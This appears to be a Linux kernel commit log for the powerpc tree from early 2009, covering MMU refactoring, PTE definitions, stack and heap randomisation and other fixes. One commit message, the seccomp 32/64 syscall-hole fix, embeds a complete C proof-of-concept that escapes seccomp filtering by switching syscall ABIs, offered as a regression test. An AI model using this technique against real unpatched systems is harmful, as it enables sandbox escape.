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2009-03-24powerpc/mm: Introduce early_init_mmu() on 64-bitBenjamin Herrenschmidt
This moves some MMU related init code out of setup_64.c into hash_utils_64.c and calls it early_init_mmu() and early_init_mmu_secondary(). This will make it easier to plug in a new MMU type. Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24powerpc/mm: Add option for non-atomic PTE updates to ppc64Benjamin Herrenschmidt
ppc32 has it already, add it to ppc64 as a preliminary for adding support for Book3E 64-bit support Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24powerpc/mm: Merge various PTE bits and accessors definitionsBenjamin Herrenschmidt
Now that they are almost identical, we can merge some of the definitions related to the PTE format into common files. This creates a new pte-common.h which is included by both 32 and 64-bit right after the CPU specific pte-*.h file, and which defines some bits to "default" values if they haven't been defined already, and then provides a generic definition of most of the bit combinations based on these and exposed to the rest of the kernel. I also moved to the common pgtable.h most of the "small" accessors to the PTE bits and modification helpers (pte_mk*). The actual accessors remain in their separate files. Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24powerpc/mm: Tweak PTE bit combination definitionsBenjamin Herrenschmidt
This patch tweaks the way some PTE bit combinations are defined, in such a way that the 32 and 64-bit variant become almost identical and that will make it easier to bring in a new common pte-* file for the new variant of the Book3-E support. The combination of bits defining access to kernel pages are now clearly separated from the combination used by userspace and the core VM. The resulting generated code should remain identical unless I made a mistake. Note: While at it, I removed a non-sensical statement related to CONFIG_KGDB in ppc_mmu_32.c which could cause kernel mappings to be user accessible when that option is enabled. Probably something that bitrot. Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24powerpc/mm: e300c2/c3/c4 TLB errata workaroundKumar Gala
Complete workaround for DTLB errata in e300c2/c3/c4 processors. Due to the bug, the hardware-implemented LRU algorythm always goes to way 1 of the TLB. This fix implements the proposed software workaround in form of a LRW table for chosing the TLB-way. Based on patch from David Jander <david@protonic.nl> Signed-off-by: Kumar Gala <galak@kernel.crashing.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24powerpc: expect all devices calling dma ops to have archdata setKumar Gala
Now that we set archdata for of_platform and platform devices via platform_notify() we no longer need to special case having a NULL device pointer or NULL archdata. It should be a driver error if this condition shows up and the driver should be fixed. Signed-off-by: Kumar Gala <galak@kernel.crashing.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24cpumask: Use mm_cpumask() wrapper instead of cpu_vm_maskRusty Russell
Makes code futureproof against the impending change to mm->cpu_vm_mask. It's also a chance to use the new cpumask_ ops which take a pointer (the older ones are deprecated, but there's no hurry for arch code). Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24powerpc: Add dispatch trace log fields to lppacaJeremy Kerr
PAPR v2.3 defines fields in the virtual processor area for a dispatch trace log (DLT). Since we'd like to use the DLT, add the necessary fields to struct lppaca. Signed-off-by: Jeremy Kerr <jk@ozlabs.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24powerpc: Fix page_ins details in lppaca commentsJeremy Kerr
The page_ins member ends at byte 0x3, not 0x4. Also, fix up the alignment. Signed-off-by: Jeremy Kerr <jk@ozlabs.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-24Merge commit 'origin/master' into nextBenjamin Herrenschmidt
2009-03-20Merge commit 'gcl/next' into nextBenjamin Herrenschmidt
2009-03-20powerpc/mm: Unify PTE_RPN_SHIFT and _PAGE_CHG_MASK definitionsBenjamin Herrenschmidt
This updates the 32-bit headers to use the same definitions for the RPN shift inside the PTE as 64-bit, and thus updates _PAGE_CHG_MASK to become identical. This does introduce a runtime visible difference, which is that now, _PAGE_HASHPTE will be part of _PAGE_CHG_MASK and thus preserved. However this should have no practical effect as it should have been preserved in the first place and we got away with not having it there due to our PTE access functions preserving it anyway. Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-20powerpc/mm: Split the various pgtable-* headers based on MMU typeBenjamin Herrenschmidt
This patch moves the definition of the PTE format for each MMU type to separate files instead of all in one file. This improves overall maintainability and will make it easier to add new types. On 64-bit, additionally, I've separated the headers relative to the format of the page table tree (3 vs. 4 levels for 64K vs 4K pages) from the headers specific to the PTE format for hash based processors, this will make it easier to add support for Book3 "E" 64-bit implementations. There are still some type-related ifdef's in the generic headers, we might remove them in the long run, but this patch shouldn't result in any code change, -hopefully- just definitions being moved around. Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-17powerpc/5200: Enable CPU_FTR_NEED_COHERENT for MPC52xxPiotr Ziecik
BestComm, a DMA engine in MPC52xx SoC, requires snooping when CPU caches are enabled to work properly. Adding CPU_FTR_NEED_COHERENT fixes NFS problems on MPC52xx machines introduced by 'powerpc/mm: Fix handling of _PAGE_COHERENT in BAT setup code' (sha1: 4c456a67f501b8b15542c7c21c28812bf88f484b). Signed-off-by: Piotr Ziecik <kosmo@semihalf.com> Signed-off-by: Grant Likely <grant.likely@secretlab.ca>
2009-03-11powerpc/5200: add function to return external clock frequencyWolfgang Grandegger
This patch adds the utility function mpc52xx_get_xtal_freq() to get the frequency of the external oscillator clock connected to the pin SYS_XTAL_IN. The MSCAN may us it as clock source. Unfortunately, this value is not available from the FDT blob, but it can be determined from the IPB frequency. Signed-off-by: Wolfgang Grandegger <wg@grandegger.com> Signed-off-by: Grant Likely <grant.likely@secretlab.ca>
2009-03-11powerpc/irq: Convert obsolete hw_interrupt_type to struct irq_chipThomas Gleixner
Impact: cleanup Convert the last remaining users to struct irq_chip. Signed-off-by: Thomas Gleixner <tglx@linutronix.de> CC: Benjamin Herrenschmidt <benh@kernel.crashing.org> CC: linuxppc-dev@ozlabs.org Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-11powerpc/udbg: Fix lost byte during console handover; change LFCR to CRLFAndrew Klossner
When the console is on a serial port to be driven by serial8250, a character can be lost from the end of the first line in the two-line sequence serial8250.0: ttyS0 at MMIO 0xe0004500 (irq = 42) is a 16550A console handover: boot [udbg0] -> real [ttyS0] This happens because udbg_puts or udbg_write stuff the last byte of the line into the Tx FIFO and return, whereupon the serial8250 initialization code immediately empties that FIFO. The fix: udbg_puts and udbg_write now wait for the Tx FIFO to clear before returning. This delays the system by one additional serial frame time for each line written by udbg, but the effect is not noticeable, a cumulative 17 milliseconds for 200 lines of early printk output at 115200 baud. Also, the routines in udbg_16550.c now emit CRLF instead of LFCR. Linux makes a point of emitting CRLF because, when serial output is captured to a file, LFCR sequences can confuse text editors. See http://lkml.org/lkml/2006/2/4/50 for some history. Signed-off-by: Andrew Klossner <andrew@cesa.opbu.xerox.com> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-11powerpc/ps3: Make ps3av_set_video_mode mode ID signedroel kluin
Change the ps3av_auto_videomode() mode id argument type from unsigned to signed so a negative id can be detected and reported as an -EINVAL failure. Signed-off-by: Roel Kluin <roel.kluin@gmail.com> Signed-off-by: Geoff Levand <geoffrey.levand@am.sony.com> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-11powerpc: Add missing DABR flagsGeoff Levand
The powerpc 64 bit architecture defines three flags for the DABR (Data Address Breakpoint Register). Add definitions for the currently missing DABR_DATA_WRITE and DABR_DATA_READ flags to the powerpc reg.h file. Signed-off-by: Geoff Levand <geoffrey.levand@am.sony.com> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-11powerpc: Add defintion for MSR[GS] to list of MSR bitsTimur Tabi
Add macros for the GS (guest state) bit to the list of MSR bit definitions. On PowerPC cores that support embedded hypervisor mode, GS is cleared if the system is running in hypervisor state (and MSR[PR] is cleared), and set if it's running in guest state. See the Power ISA 2.06 specification for more information. Signed-off-by: Timur Tabi <timur@freescale.com> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-11powerpc: Wire up /proc/vmallocinfo to our ioremap()Benjamin Herrenschmidt
This adds the necessary bits and pieces to powerpc implementation of ioremap to benefit from caller tracking in /proc/vmallocinfo, at least for ioremap's done after mem init as the older ones aren't tracked. Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-03-11Merge commit 'origin/master' into nextBenjamin Herrenschmidt
2009-03-09powerpc/fsl-booke: Add support for tlbilx instructionsKumar Gala
The e500mc core supports the new tlbilx instructions that do core local invalidates and also provide us the ability to take down all TLB entries matching a given PID. Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
2009-03-03Merge commit 'jwb/next' into nextBenjamin Herrenschmidt
2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-23powerpc: Randomise PIEsAnton Blanchard
Randomise ELF_ET_DYN_BASE, which is used when loading position independent executables. Signed-off-by: Anton Blanchard <anton@samba.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc: Randomise the brk regionAnton Blanchard
Randomize the heap. before: tundro2:~ # sleep 1 & cat /proc/${!}/maps | grep heap 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] after tundro2:~ # sleep 1 & cat /proc/${!}/maps | grep heap 19419000-1951a000 rw-p 19419000 00:00 0 [heap] 325ff000-32700000 rw-p 325ff000 00:00 0 [heap] 1a97c000-1aa7d000 rw-p 1a97c000 00:00 0 [heap] 1cc60000-1cd61000 rw-p 1cc60000 00:00 0 [heap] 1afa9000-1b0aa000 rw-p 1afa9000 00:00 0 [heap] Signed-off-by: Anton Blanchard <anton@samba.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc: Randomise lower bits of stack addressAnton Blanchard
Randomise the lower bits of the stack address. More randomisation is good for security but the scatter can also help with SMT threads that share an L1. A quick test case shows this working: int main() { int sp; printf("%x\n", (unsigned long)&sp & 4095); } before: 80 80 80 80 80 after: 610 490 300 6b0 d80 Signed-off-by: Anton Blanchard <anton@samba.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc: More stack randomisation for 64bit binariesAnton Blanchard
At the moment we randomise the stack by 8MB on 32bit and 64bit tasks. Since we have a lot more address space to play with on 64bit, lets do what x86 does and increase that randomisation to 1GB: before: # for i in seq `1 10` ; do sleep 1 & cat /proc/${!}/maps | grep stack; done fffffebc000-fffffed1000 rw-p ffffffeb000 00:00 0 [stack] ffffff5a000-ffffff6f000 rw-p ffffffeb000 00:00 0 [stack] fffffdb2000-fffffdc7000 rw-p ffffffeb000 00:00 0 [stack] fffffd3e000-fffffd53000 rw-p ffffffeb000 00:00 0 [stack] fffffad9000-fffffaee000 rw-p ffffffeb000 00:00 0 [stack] after: # for i in seq `1 10` ; do sleep 1 & cat /proc/${!}/maps | grep stack; done ffff5c27000-ffff5c3c000 rw-p ffffffeb000 00:00 0 [stack] fffebe5e000-fffebe73000 rw-p ffffffeb000 00:00 0 [stack] fffcb298000-fffcb2ad000 rw-p ffffffeb000 00:00 0 [stack] fffc719d000-fffc71b2000 rw-p ffffffeb000 00:00 0 [stack] fffe01af000-fffe01c4000 rw-p ffffffeb000 00:00 0 [stack] Signed-off-by: Anton Blanchard <anton@samba.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc: Move is_32bit_taskAnton Blanchard
Move is_32bit_task into asm/thread_info.h, that allows us to test for 32/64bit tasks without an ugly CONFIG_PPC64 ifdef. Signed-off-by: Anton Blanchard <anton@samba.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc: Add support for using doorbells for SMP IPIKumar Gala
The e500mc supports the new msgsnd/doorbell mechanisms that were added in the Power ISA 2.05 architecture. We use the normal level doorbell for doing SMP IPIs at this point. Signed-off-by: Kumar Gala <galak@kernel.crashing.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc: Fix warnings from make headers_checkKumar Gala
include/asm/bootx.h:12: include of <linux/types.h> is preferred over <asm/types.h> include/asm/bootx.h:57: found __[us]{8,16,32,64} type without #include <linux/types.h> include/asm/elf.h:5: include of <linux/types.h> is preferred over <asm/types.h> include/asm/kvm.h:23: include of <linux/types.h> is preferred over <asm/types.h> include/asm/kvm.h:26: found __[us]{8,16,32,64} type without #include <linux/types.h> include/asm/ps3fb.h:33: found __[us]{8,16,32,64} type without #include <linux/types.h> include/asm/spu_info.h:27: found __[us]{8,16,32,64} type without #include <linux/types.h> include/asm/swab.h:11: include of <linux/types.h> is preferred over <asm/types.h> Signed-off-by: Kumar Gala <galak@kernel.crashing.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc: Unify opcode definitions and supportKumar Gala
Create a new header that becomes a single location for defining PowerPC opcodes used by code that is either generationg instructions at runtime (fixups, debug, etc.), emulating instructions, or just compiling instructions old assemblers don't know about. We currently don't handle the floating point emulation or alignment decode as both are better handled by the specific decode support they already have. Added support for the new dcbzl, dcbal, msgsnd, tlbilx, & wait instructions since older assemblers don't know about them. Signed-off-by: Kumar Gala <galak@kernel.crashing.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-23powerpc32, ftrace: save and restore mcount regs with macroSteven Rostedt
Impact: clean up Use a macro to save and restore the registers for PowerPC32, since that code is duplicated. This is similar to the work done by Cyrill Gorcunov for the mcount code in x86_64. Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org> Signed-off-by: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-18Merge commit 'kumar/next' into nextBenjamin Herrenschmidt
2009-02-18Merge commit 'origin/master' into nextBenjamin Herrenschmidt
Manual merge of: arch/powerpc/include/asm/pgtable-ppc32.h
2009-02-14powerpc/44x: Support for 256KB PAGE_SIZEYuri Tikhonov
This patch adds support for 256KB pages on ppc44x-based boards. For simplification of implementation with 256KB pages we still assume 2-level paging. As a side effect this leads to wasting extra memory space reserved for PTE tables: only 1/4 of pages allocated for PTEs are actually used. But this may be an acceptable trade-off to achieve the high performance we have with big PAGE_SIZEs in some applications (e.g. RAID). Also with 256KB PAGE_SIZE we increase THREAD_SIZE up to 32KB to minimize the risk of stack overflows in the cases of on-stack arrays, which size depends on the page size (e.g. multipage BIOs, NTFS, etc.). With 256KB PAGE_SIZE we need to decrease the PKMAP_ORDER at least down to 9, otherwise all high memory (2 ^ 10 * PAGE_SIZE == 256MB) we'll be occupied by PKMAP addresses leaving no place for vmalloc. We do not separate PKMAP_ORDER for 256K from 16K/64K PAGE_SIZE here; actually that value of 10 in support for 16K/64K had been selected rather intuitively. Thus now for all cases of PAGE_SIZE on ppc44x (including the default, 4KB, one) we have 512 pages for PKMAP. Because ELF standard supports only page sizes up to 64K, then you should use binutils later than 2.17.50.0.3 with '-zmax-page-size' set to 256K for building applications, which are to be run with the 256KB-page sized kernel. If using the older binutils, then you should patch them like follows: --- binutils/bfd/elf32-ppc.c.orig +++ binutils/bfd/elf32-ppc.c -#define ELF_MAXPAGESIZE 0x10000 +#define ELF_MAXPAGESIZE 0x40000 One more restriction we currently have with 256KB page sizes is inability to use shmem safely, so, for now, the 256KB is available only if you turn the CONFIG_SHMEM option off (another variant is to use BROKEN). Though, if you need shmem with 256KB pages, you can always remove the !SHMEM dependency in 'config PPC_256K_PAGES', and use the workaround available here: http://lkml.org/lkml/2008/12/19/20 Signed-off-by: Yuri Tikhonov <yur@emcraft.com> Signed-off-by: Ilya Yanok <yanok@emcraft.com> Signed-off-by: Josh Boyer <jwboyer@linux.vnet.ibm.com>
2009-02-13powerpc/mm: Fix _PAGE_CHG_MASK to protect _PAGE_SPECIALPhilippe Gerum
Fix _PAGE_CHG_MASK so that pte_modify() does not affect the _PAGE_SPECIAL bit. Signed-off-by: Philippe Gerum <rpm@xenomai.org> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-12powerpc/book-3e: Introduce concept of Book-3e MMUKumar Gala
The Power ISA 2.06 spec introduces a standard MMU programming model that is based on the Freescale Book-E MMU programing model. The Freescale version is pretty backwards compatiable with the ISA 2.06 definition so we are starting to refactor some of the Freescale code so it can be easily shared. Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
2009-02-12powerpc/fsl-booke: Add new ISA 2.06 page sizes and MAS definesKumar Gala
The Power ISA 2.06 added power of two page sizes to the embedded MMU architecture. Its done it such a way to be code compatiable with the existing HW. Made the minor code changes to support both power of two and power of four page sizes. Also added some new MAS bits and macros that are defined as part of the 2.06 ISA. Renamed some things to use the 'Book-3e' concept to convey the new MMU that is based on the Freescale Book-E MMU programming model. Note, its still invalid to try and use a page size that isn't supported by cpu. Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
2009-02-11powerpc/mm: Rework I$/D$ coherency (v3)Benjamin Herrenschmidt
This patch reworks the way we do I and D cache coherency on PowerPC. The "old" way was split in 3 different parts depending on the processor type: - Hash with per-page exec support (64-bit and >= POWER4 only) does it at hashing time, by preventing exec on unclean pages and cleaning pages on exec faults. - Everything without per-page exec support (32-bit hash, 8xx, and 64-bit < POWER4) does it for all page going to user space in update_mmu_cache(). - Embedded with per-page exec support does it from do_page_fault() on exec faults, in a way similar to what the hash code does. That leads to confusion, and bugs. For example, the method using update_mmu_cache() is racy on SMP where another processor can see the new PTE and hash it in before we have cleaned the cache, and then blow trying to execute. This is hard to hit but I think it has bitten us in the past. Also, it's inefficient for embedded where we always end up having to do at least one more page fault. This reworks the whole thing by moving the cache sync into two main call sites, though we keep different behaviours depending on the HW capability. The call sites are set_pte_at() which is now made out of line, and ptep_set_access_flags() which joins the former in pgtable.c The base idea for Embedded with per-page exec support, is that we now do the flush at set_pte_at() time when coming from an exec fault, which allows us to avoid the double fault problem completely (we can even improve the situation more by implementing TLB preload in update_mmu_cache() but that's for later). If for some reason we didn't do it there and we try to execute, we'll hit the page fault, which will do a minor fault, which will hit ptep_set_access_flags() to do things like update _PAGE_ACCESSED or _PAGE_DIRTY if needed, we just make this guys also perform the I/D cache sync for exec faults now. This second path is the catch all for things that weren't cleaned at set_pte_at() time. For cpus without per-pag exec support, we always do the sync at set_pte_at(), thus guaranteeing that when the PTE is visible to other processors, the cache is clean. For the 64-bit hash with per-page exec support case, we keep the old mechanism for now. I'll look into changing it later, once I've reworked a bit how we use _PAGE_EXEC. This is also a first step for adding _PAGE_EXEC support for embedded platforms Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-02-11powerpc: Remove unused ppc64_terminate_msg()Michael Ellerman
Signed-off-by: Michael Ellerman <michael@ellerman.id.au> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-01-28powerpc/fsl-booke: Cleanup init/exception setup to be runtimeKumar Gala
We currently have a few variants of fsl-booke processors (e500v1, e500v2, e500mc, and e200). They all have minor differences that we had previously been handling via ifdefs. To move towards having this support the following changes have been made: * PID1, PID2 only exist on e500v1 & e500v2 and should not be accessed on e500mc or e200. We use MMUCFG[NPIDS] to determine which case we are since we only touch PID1/2 in extremely early init code. * Not all IVORs exist on all the processors so introduce cpu_setup functions for each variant to setup the proper IVORs that are either unique or exist but have some variations between the processors Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
2009-01-16powerpc/ps3: Use dma_addr_t down through the stackStephen Rothwell
Push the dma_addr_t type usage all the way down to where the actual values are manipulated. Now that u64 is "unsigned long long", this removes warnings like: arch/powerpc/platforms/ps3/system-bus.c:532: warning: passing argument 4 of 'ps3_dma_map' from incompatible pointer type arch/powerpc/platforms/ps3/system-bus.c:649: warning: passing argument 4 of 'ps3_dma_map' from incompatible pointer type Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au> Acked-by: Geoff Levand <geoffrey.levand@am.sony.com> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-01-14Merge branch 'merge' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/benh/powerpc * 'merge' of git://git.kernel.org/pub/scm/linux/kernel/git/benh/powerpc: (29 commits) powerpc/83xx: Move mcu_mpc8349emitx driver out of drivers/i2c/chips/ powerpc/83xx: Make serial ports work on MPC8315E-RDB w/ FSL U-Boots powerpc/e500mc: Doorbells need to be taken w/exceptions disabled powerpc: Enable PS3 options and QPACE in ppc64_defconfig powerpc/powermac: Fix occasional SMP boot failure powerpc/cacheinfo: Rename cache_dir per-cpu variable hvc_console: Use kzalloc() instead of kmalloc() + memset() hvc_console: Do not set low_latency when using interrupts hvc_console: Call free_irq() only if request_irq() was successful hvc_console: Change an mb() to smp_mb() and add some comments powerpc: Cleanup from l64 to ll64 change: drivers/net powerpc: Cleanup from l64 to ll64 change: drivers/char powerpc: Cleanup from l64 to ll64 change: arch code powerpc: Change u64/s64 to a long long integer type powerpc/kexec: Check crash_base for relocatable kernel powerpc: Make dummy section a valid note header Xilinx: SPI: updated driver for device tree drivers/of: Add the of_find_i2c_device_by_node function. powerpc/xsysace: add compatible string for non-ipcore instance powerpc/mpc52xx: remove dead code from GPIO driver ...
2009-01-14Merge branch 'syscalls' of git://git390.osdl.marist.edu/pub/scm/linux-2.6Linus Torvalds
* 'syscalls' of git://git390.osdl.marist.edu/pub/scm/linux-2.6: (44 commits) [CVE-2009-0029] s390 specific system call wrappers [CVE-2009-0029] System call wrappers part 33 [CVE-2009-0029] System call wrappers part 32 [CVE-2009-0029] System call wrappers part 31 [CVE-2009-0029] System call wrappers part 30 [CVE-2009-0029] System call wrappers part 29 [CVE-2009-0029] System call wrappers part 28 [CVE-2009-0029] System call wrappers part 27 [CVE-2009-0029] System call wrappers part 26 [CVE-2009-0029] System call wrappers part 25 [CVE-2009-0029] System call wrappers part 24 [CVE-2009-0029] System call wrappers part 23 [CVE-2009-0029] System call wrappers part 22 [CVE-2009-0029] System call wrappers part 21 [CVE-2009-0029] System call wrappers part 20 [CVE-2009-0029] System call wrappers part 19 [CVE-2009-0029] System call wrappers part 18 [CVE-2009-0029] System call wrappers part 17 [CVE-2009-0029] System call wrappers part 16 [CVE-2009-0029] System call wrappers part 15 ...
2009-01-14byteorder: make swab.h include asm/swab.h like a regular headerHarvey Harrison
Add swab.h to kbuild.asm and remove the individual entries from each arch, mark as unifdef as some arches have some kernel-only bits inside. Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-01-14[CVE-2009-0029] Rename old_readdir to sys_old_readdirHeiko Carstens
This way it matches the generic system call name convention. Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
2009-01-13powerpc: Change u64/s64 to a long long integer typeIngo Molnar
Convert arch/powerpc/ over to long long based u64: -#ifdef __powerpc64__ -# include <asm-generic/int-l64.h> -#else -# include <asm-generic/int-ll64.h> -#endif +#include <asm-generic/int-ll64.h> This will avoid reoccuring spurious warnings in core kernel code that comes when people test on their own hardware. (i.e. x86 in ~98% of the cases) This is what x86 uses and it generally helps keep 64-bit code 32-bit clean too. [Adjusted to not impact user mode (from paulus) - sfr] Signed-off-by: Ingo Molnar <mingo@elte.hu> Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au> Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
2009-01-13Merge commit 'kumar/kumar-next' into nextBenjamin Herrenschmidt